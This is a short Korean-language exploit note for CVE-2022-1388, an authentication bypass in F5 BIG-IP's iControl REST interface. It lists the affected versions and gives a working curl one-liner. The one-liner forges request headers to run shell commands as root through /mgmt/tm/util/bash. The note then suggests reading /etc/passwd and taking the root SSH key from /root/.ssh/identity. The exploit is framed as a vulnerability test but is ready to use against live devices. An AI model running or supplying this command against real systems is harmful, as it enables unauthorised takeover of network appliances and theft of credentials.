CVE-2022-1388 BIG IP REST 원격 코드 실행

F5 BIG-IP 16.1.x 버전 중 16.1.2.2 이전, 15.1.x 버전 중 15.1.5.1 이전, 14.1.x 버전 중 14.1.4.6 이전, 13.1.x 버전 중 13.1.5 이전, 그리고 모든 12.1.x 및 11.6.x 버전에서, 공개되지 않은 요청이 iControl REST 인증을 우회할 수 있습니다.

이 취약점을 테스트하기 위해 다음 cURL 원-라이너를 사용하세요.

curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'

Authorization 필드는 임의의 base64 인코딩 값이 될 수 있습니다. 위 예제는 admin:admin을 사용합니다. 서버가 취약하다면 유효한 자격 증명일 필요가 없으며, 모든 base64 인코딩 값이 작동합니다.

위 명령이 ID를 반환하면, 'cat /etc/passwd'로 /etc/passwd 파일을 읽거나, 'cat /root/.ssh/identity'로 root SSH 인증서를 가져오는 등 여러 작업을 시도할 수 있습니다.